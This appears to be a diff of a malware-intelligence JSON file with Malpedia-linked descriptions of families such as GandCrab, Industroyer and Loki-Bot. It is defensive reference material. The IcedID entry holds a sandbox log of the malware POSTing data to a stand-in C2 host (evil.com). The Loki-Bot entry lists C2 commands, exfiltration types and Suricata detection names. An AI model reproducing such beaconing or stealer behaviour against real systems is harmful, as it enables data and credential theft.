@ -14245,7 +14241,7 @@
"value": "DuQu"
},
{
"description": "In 2019, multiple destructive attacks were observed targeting entities within the Middle East. The National Cyber Security Centre (NCSC), a part of the National Cybersecurity Authority (NCA), detected a new malware named \"DUSTMAN\" that was detonated on December 29, 2019. Based on analyzed evidence and artifacts found on machines in a victim\u2019s network that were not wiped by the malware. NCSC assess that the threat actor behind the attack had some kind of urgency on executing the files on the date of the attack due to multiple OPSEC failures observed on the infected network. NCSC is calling the malware used in this attack \"DUSTMAN\" after the filename and string embedded in the malware. \"DUSTMAN\" can be considered as a new variant of \"ZeroCleare\" malware,\r\npublished in December 2019.",
"description": "In 2019, multiple destructive attacks were observed targeting entities within the Middle East. The National Cyber Security Centre (NCSC), a part of the National Cybersecurity Authority (NCA), detected a new malware named \"DUSTMAN\" that was detonated on December 29, 2019. Based on analyzed evidence and artifacts found on machines in a victim’s network that were not wiped by the malware. NCSC assess that the threat actor behind the attack had some kind of urgency on executing the files on the date of the attack due to multiple OPSEC failures observed on the infected network. NCSC is calling the malware used in this attack \"DUSTMAN\" after the filename and string embedded in the malware. \"DUSTMAN\" can be considered as a new variant of \"ZeroCleare\" malware,\r\npublished in December 2019.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.dustman",
@ -15272,7 +15268,6 @@
"description": "FastLoader is a small .NET downloader, which name comes from PDB strings seen in samples. It typically downloads TrickBot. It may create a list of processes and uploads it together with screenshot(s). In more recent versions, it employs simple anti-analysis checks (VM detection) and comes with string obfuscations. \r\n",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.fastloader",
"https://malpedia.caad.fkie.fraunhofer.de/details/win.fastloader"
],
"synonyms": [],
@ -16048,7 +16043,7 @@
"value": "Gamotrol"
},
{
"description": "GandCrab was a Ransomware-as-a-Service (RaaS) emerged in January 28, 2018, managed by a criminal organization known to be confident and vocal, while running a rapidly evolving ransomware campaign. Through their aggressive, albeit unusual, marketing strategies and constant recruitment of affiliates, they were able to globally distribute a high volume of their malware.\r\n\r\nIn a surprising announcement on May 31, 2019, the GandCrab\u2019s operators posted on a dark web forum, announced the end of a little more than a year of ransomware operations, citing staggering profit figures. However, If there\u2019s one thing that sets these threat actors apart from other groups, it is that they are unpredictable; so there is always the possibility that they might re-surface in one form or another.",
"description": "GandCrab was a Ransomware-as-a-Service (RaaS) emerged in January 28, 2018, managed by a criminal organization known to be confident and vocal, while running a rapidly evolving ransomware campaign. Through their aggressive, albeit unusual, marketing strategies and constant recruitment of affiliates, they were able to globally distribute a high volume of their malware.\r\n\r\nIn a surprising announcement on May 31, 2019, the GandCrab’s operators posted on a dark web forum, announced the end of a little more than a year of ransomware operations, citing staggering profit figures. However, If there’s one thing that sets these threat actors apart from other groups, it is that they are unpredictable; so there is always the possibility that they might re-surface in one form or another.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab",
@ -16703,7 +16698,7 @@
"value": "GoldMax"
},
{
"description": "GoldDragon was a second-stage backdoor which established a permanent presence on the victim\u2019s system once the first-stage, file-less, PowerShell-based attack leveraging steganography was executed. The initial attack was observed first in December 2017, when a Korean-language spear phishing campaing targeted organizations linked with Pyeongchang Winter Olympics 2018. GoldDragon was delivered once the attacker had gained an initial foothold in the targeted environment.\r\n\r\nThe malware was capable of a basic reconnaissance, data exfiltration and downloading of additional components from its C&C server. ",
"description": "GoldDragon was a second-stage backdoor which established a permanent presence on the victim’s system once the first-stage, file-less, PowerShell-based attack leveraging steganography was executed. The initial attack was observed first in December 2017, when a Korean-language spear phishing campaing targeted organizations linked with Pyeongchang Winter Olympics 2018. GoldDragon was delivered once the attacker had gained an initial foothold in the targeted environment.\r\n\r\nThe malware was capable of a basic reconnaissance, data exfiltration and downloading of additional components from its C&C server. ",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon",
@ -16955,7 +16950,7 @@
"value": "GrandSteal"
},
{
"description": "POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card\u2019s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system\u2019s memory unencrypted while the system determines where to send it for authorization. \r\nMasked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.",
"description": "POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. \r\nMasked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos",
@ -18037,7 +18032,7 @@
"value": "HyperBro"
},
{
"description": "Analysis Observations:\r\n\r\n* It sets up persistence by creating a Scheduled Task with the following characteristics:\r\n * Name: Update\r\n * Trigger: At Log on\r\n * Action: %LocalAppData%\\$Example\\\\waroupada.exe /i\r\n * Conditions: Stop if the computer ceases to be idle.\r\n* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.\r\n* The filename remained static during analysis.\r\n* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it\r\n* If \u201c/i\u201d is not passed as an argument, it sets up persistence and waits for reboot.\r\n* If \u201c/I\u201d is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.\r\n* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:\r\n rundll32.exe kernel32,Sleep -s\r\n* Setup a local listener to proxy traffic on 127.0.0.1:50000\r\n\r\n**[Example Log from C2 Network Communication]**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2",
"description": "Analysis Observations:\r\n\r\n* It sets up persistence by creating a Scheduled Task with the following characteristics:\r\n * Name: Update\r\n * Trigger: At Log on\r\n * Action: %LocalAppData%\\$Example\\\\waroupada.exe /i\r\n * Conditions: Stop if the computer ceases to be idle.\r\n* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.\r\n* The filename remained static during analysis.\r\n* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it\r\n* If “/i” is not passed as an argument, it sets up persistence and waits for reboot.\r\n* If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.\r\n* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:\r\n rundll32.exe kernel32,Sleep -s\r\n* Setup a local listener to proxy traffic on 127.0.0.1:50000\r\n\r\n**[Example Log from C2 Network Communication]**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid",
@ -18134,7 +18129,7 @@
"value": "Icefog"
},
{
"description": "The ICE IX bot is a banking trojan derived of the Zeus botnet because it uses significant parts of Zeus\u2019s source code. ICE IX communicates using the HTTP protocol, so it can be considered to be a third-generation botnet. While it has been used for a variety of purposes, a primary threat of ICE IX comes from its manipulation of banking operations on compromised machines. As with any bot, execution of the bot results in establishing a master-slave relationship between the botmaster and the compromised computer.",
"description": "The ICE IX bot is a banking trojan derived of the Zeus botnet because it uses significant parts of Zeus’s source code. ICE IX communicates using the HTTP protocol, so it can be considered to be a third-generation botnet. While it has been used for a variety of purposes, a primary threat of ICE IX comes from its manipulation of banking operations on compromised machines. As with any bot, execution of the bot results in establishing a master-slave relationship between the botmaster and the compromised computer.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix",
@ -18166,7 +18161,6 @@
"description": "",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.icyheart",
"https://malpedia.caad.fkie.fraunhofer.de/details/win.icyheart"
],
"synonyms": [
@ -18263,7 +18257,7 @@
"value": "IndigoDrop"
},
{
"description": "Industroyer is a malware framework considered to have been used in the cyberattack on Ukraine\u2019s power grid on December 17, 2016. The attack cut a fifth of Kiev, the capital, off power for one hour. It is the first ever known malware specifically designed to attack electrical grids.",
"description": "Industroyer is a malware framework considered to have been used in the cyberattack on Ukraine’s power grid on December 17, 2016. The attack cut a fifth of Kiev, the capital, off power for one hour. It is the first ever known malware specifically designed to attack electrical grids.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer",
@ -18409,7 +18403,7 @@
"value": "Ironcat"
},
{
"description": " IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path.\r\n The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user\u2019s Startup folder.",
"description": " IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path.\r\n The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user’s Startup folder.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo",
@ -18663,7 +18657,7 @@
"value": "Jaku"
},
{
"description": "Jason is a graphic tool implemented to perform Microsoft exchange account brute-force in order to \u201charvest\u201d the highest possible emails and accounts information. Distributed in a ZIP container the interface is quite intuitive: the Microsoft exchange address and its version shall be provided. Three brute-force methods could be selected: EWS (Exchange Web Service), OAB (Offline Address Book) or both (All). Username and password list can be selected and threads number should be provided in order to optimize the attack balance.",
"description": "Jason is a graphic tool implemented to perform Microsoft exchange account brute-force in order to “harvest” the highest possible emails and accounts information. Distributed in a ZIP container the interface is quite intuitive: the Microsoft exchange address and its version shall be provided. Three brute-force methods could be selected: EWS (Exchange Web Service), OAB (Offline Address Book) or both (All). Username and password list can be selected and threads number should be provided in order to optimize the attack balance.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.jason",
@ -19331,7 +19325,6 @@
"description": "KleptoParasite Stealer is advertised on Hackforums as a noob-friendly stealer. It is modular and comes with a IP retriever module, a Outlook stealer (32bit/64bit) and a Chrome/Firefox stealer (32bit/64bit). Earlier versions come bundled (loader plus modules), newer versions come with a loader (167k) that grabs the modules.\r\n\r\nPDB-strings suggest a relationship to JogLog v6 and v7.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer",
"https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer"
],
"synonyms": [
@ -20188,7 +20181,7 @@
"value": "LockPOS"
},
{
"description": "Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as \u201cTrojan.Nymeria\u201d, although the connection is not well-documented.",
"description": "Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.loda",
@ -20270,7 +20263,7 @@
"value": "LoJax"
},
{
"description": "\"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.\" - PhishMe\r\n\r\nLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.\r\n\r\nLoki-Bot accepts a single argument/switch of \u2018-u\u2019 that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.\r\n\r\nThe Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: \u201cB7E1C2CC98066B250DDB2123\u201c.\r\n\r\nLoki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: \u201c%APPDATA%\\ C98066\\\u201d.\r\n\r\nThere can be four files within the hidden %APPDATA% directory at any given time: \u201c.exe,\u201d \u201c.lck,\u201d \u201c.hdb\u201d and \u201c.kdb.\u201d They will be named after characters 13 thru 18 of the Mutex. For example: \u201c6B250D.\u201d Below is the explanation of their purpose:\r\n\r\nFILE EXTENSION\tFILE DESCRIPTION\r\n.exe\tA copy of the malware that will execute every time the user account is logged into\r\n.lck\tA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts\r\n.hdb\tA database of hashes for data that has already been exfiltrated to the C2 server\r\n.kdb\tA database of keylogger data that has yet to be sent to the C2 server\r\n\r\nIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.\r\n\r\nThe first packet transmitted by Loki-Bot contains application data.\r\n\r\nThe second packet transmitted by Loki-Bot contains decrypted Windows credentials.\r\n\r\nThe third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.\r\n\r\nCommunications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.\r\n\r\nThe first WORD of the HTTP Payload represents the Loki-Bot version.\r\n\r\nThe second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:\r\n\r\nBYTE\tPAYLOAD TYPE\r\n0x26\tStolen Cryptocurrency Wallet\r\n0x27\tStolen Application Data\r\n0x28\tGet C2 Commands from C2 Server\r\n0x29\tStolen File\r\n0x2A\tPOS (Point of Sale?)\r\n0x2B\tKeylogger Data\r\n0x2C\tScreenshot\r\n\r\nThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically \u201cckav.ru\u201d. If you come across a Binary ID that is different from this, take note!\r\n\r\nLoki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.\r\n\r\nThe Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot\u2019s C2 infrastructure.\r\n\r\nLoki-Bot can accept the following instructions from the C2 Server:\r\n\r\nBYTE\tINSTRUCTION DESCRIPTION\r\n0x00\tDownload EXE & Execute\r\n0x01\tDownload DLL & Load #1\r\n0x02\tDownload DLL & Load #2\r\n0x08\tDelete HDB File\r\n0x09\tStart Keylogger\r\n0x0A\tMine & Steal Data\r\n0x0E\tExit Loki-Bot\r\n0x0F\tUpgrade Loki-Bot\r\n0x10\tChange C2 Polling Frequency\r\n0x11\tDelete Executables & Exit\r\n\r\nSuricata Signatures\r\nRULE SID\tRULE NAME\r\n2024311\tET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected\r\n2024312\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1\r\n2024313\tET TROJAN Loki Bot Request for C2 Commands Detected M1\r\n2024314\tET TROJAN Loki Bot File Exfiltration Detected\r\n2024315\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1\r\n2024316\tET TROJAN Loki Bot Screenshot Exfiltration Detected\r\n2024317\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2\r\n2024318\tET TROJAN Loki Bot Request for C2 Commands Detected M2\r\n2024319\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2",
"description": "\"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.\" - PhishMe\r\n\r\nLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.\r\n\r\nLoki-Bot accepts a single argument/switch of ‘-u’ that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.\r\n\r\nThe Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.\r\n\r\nLoki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA%\\ C98066\\”.\r\n\r\nThere can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:\r\n\r\nFILE EXTENSION\tFILE DESCRIPTION\r\n.exe\tA copy of the malware that will execute every time the user account is logged into\r\n.lck\tA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts\r\n.hdb\tA database of hashes for data that has already been exfiltrated to the C2 server\r\n.kdb\tA database of keylogger data that has yet to be sent to the C2 server\r\n\r\nIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.\r\n\r\nThe first packet transmitted by Loki-Bot contains application data.\r\n\r\nThe second packet transmitted by Loki-Bot contains decrypted Windows credentials.\r\n\r\nThe third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.\r\n\r\nCommunications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.\r\n\r\nThe first WORD of the HTTP Payload represents the Loki-Bot version.\r\n\r\nThe second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:\r\n\r\nBYTE\tPAYLOAD TYPE\r\n0x26\tStolen Cryptocurrency Wallet\r\n0x27\tStolen Application Data\r\n0x28\tGet C2 Commands from C2 Server\r\n0x29\tStolen File\r\n0x2A\tPOS (Point of Sale?)\r\n0x2B\tKeylogger Data\r\n0x2C\tScreenshot\r\n\r\nThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!\r\n\r\nLoki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.\r\n\r\nThe Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.\r\n\r\nLoki-Bot can accept the following instructions from the C2 Server:\r\n\r\nBYTE\tINSTRUCTION DESCRIPTION\r\n0x00\tDownload EXE & Execute\r\n0x01\tDownload DLL & Load #1\r\n0x02\tDownload DLL & Load #2\r\n0x08\tDelete HDB File\r\n0x09\tStart Keylogger\r\n0x0A\tMine & Steal Data\r\n0x0E\tExit Loki-Bot\r\n0x0F\tUpgrade Loki-Bot\r\n0x10\tChange C2 Polling Frequency\r\n0x11\tDelete Executables & Exit\r\n\r\nSuricata Signatures\r\nRULE SID\tRULE NAME\r\n2024311\tET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected\r\n2024312\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1\r\n2024313\tET TROJAN Loki Bot Request for C2 Commands Detected M1\r\n2024314\tET TROJAN Loki Bot File Exfiltration Detected\r\n2024315\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1\r\n2024316\tET TROJAN Loki Bot Screenshot Exfiltration Detected\r\n2024317\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2\r\n2024318\tET TROJAN Loki Bot Request for C2 Commands Detected M2\r\n2024319\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws",
@ -20346,7 +20339,7 @@
"value": "LONGWATCH"
},
{
"description": "LooChiper is a Ransomware. It uses a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term \u201cCipher\u201d) and to the popular mythological figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straight forward, not very different from those belonging to many other ransomware families. ",
"description": "LooChiper is a Ransomware. It uses a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term “Cipher”) and to the popular mythological figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straight forward, not very different from those belonging to many other ransomware families. ",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.loochiper",
@ -20552,7 +20545,7 @@
"value": "M00nD3V Logger"
},
{
"description": "According to ESET, Machete\u2019s dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe and GoogleUpdate.exe. A single configuration file, jer.dll, is dropped, and it contains base64\u2011encoded text that corresponds to AES\u2011encrypted strings.\r\nGoogleCrash.exe is the main component of the malware. It schedules execution of the other two components and creates Windows Task Scheduler tasks to achieve persistence.\r\nRegarding the geolocation of victims, Chrome.exe collects data about nearby Wi-Fi networks and sends it to the Mozilla Location Service API. In short, this application provides geolocation coordinates when it\u2019s given other sources of data such as Bluetooth beacons, cell towers or Wi-Fi access points. Then the malware takes latitude and longitude coordinates to build a Google Maps URL.\r\nThe GoogleUpdate.exe component is responsible for communicating with the remote C&C server. The configuration to set the connection is read from the jer.dll file: domain name, username and password. The principal means of communication for Machete is via FTP, although HTTP communication was implemented as a fallback in 2019.",
"description": "According to ESET, Machete’s dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe and GoogleUpdate.exe. A single configuration file, jer.dll, is dropped, and it contains base64‑encoded text that corresponds to AES‑encrypted strings.\r\nGoogleCrash.exe is the main component of the malware. It schedules execution of the other two components and creates Windows Task Scheduler tasks to achieve persistence.\r\nRegarding the geolocation of victims, Chrome.exe collects data about nearby Wi-Fi networks and sends it to the Mozilla Location Service API. In short, this application provides geolocation coordinates when it’s given other sources of data such as Bluetooth beacons, cell towers or Wi-Fi access points. Then the malware takes latitude and longitude coordinates to build a Google Maps URL.\r\nThe GoogleUpdate.exe component is responsible for communicating with the remote C&C server. The configuration to set the connection is read from the jer.dll file: domain name, username and password. The principal means of communication for Machete is via FTP, although HTTP communication was implemented as a fallback in 2019.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.machete",
@ -21709,7 +21702,7 @@
"value": "Misfox"
},
{
"description": "According to ESET Research, Mispadu is an ambitious Latin American banking trojan that utilizes McDonald\u2019s malvertising and extends its attack surface to web browsers. It is used to target the general public and its main goals are monetary and credential theft. In Brazil, ESET has seen it distributing a malicious Google Chrome extension that attempts to steal credit card data and online banking data, and that compromises the Boleto payment system.",
"description": "According to ESET Research, Mispadu is an ambitious Latin American banking trojan that utilizes McDonald’s malvertising and extends its attack surface to web browsers. It is used to target the general public and its main goals are monetary and credential theft. In Brazil, ESET has seen it distributing a malicious Google Chrome extension that attempts to steal credit card data and online banking data, and that compromises the Boleto payment system.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.mispadu",
@ -28025,7 +28018,7 @@
"value": "SHARPKNOT"
},
{
"description": "The SharpStage backdoor is a .NET malware with backdoor capabilities. Its name is a derivative of the main activity class called \u201cStage_One\u201d. SharpStage can take screenshots, run arbitrary commands and downloads additional payloads. It exfiltrates data from the infected machine to a dropbox account by implementing a dropbox client in its code. SharpStage was seen used by the Molerats group in targeted attacks in the middle east. ",
"description": "The SharpStage backdoor is a .NET malware with backdoor capabilities. Its name is a derivative of the main activity class called “Stage_One”. SharpStage can take screenshots, run arbitrary commands and downloads additional payloads. It exfiltrates data from the infected machine to a dropbox account by implementing a dropbox client in its code. SharpStage was seen used by the Molerats group in targeted attacks in the middle east. ",
"meta": {
"refs": [
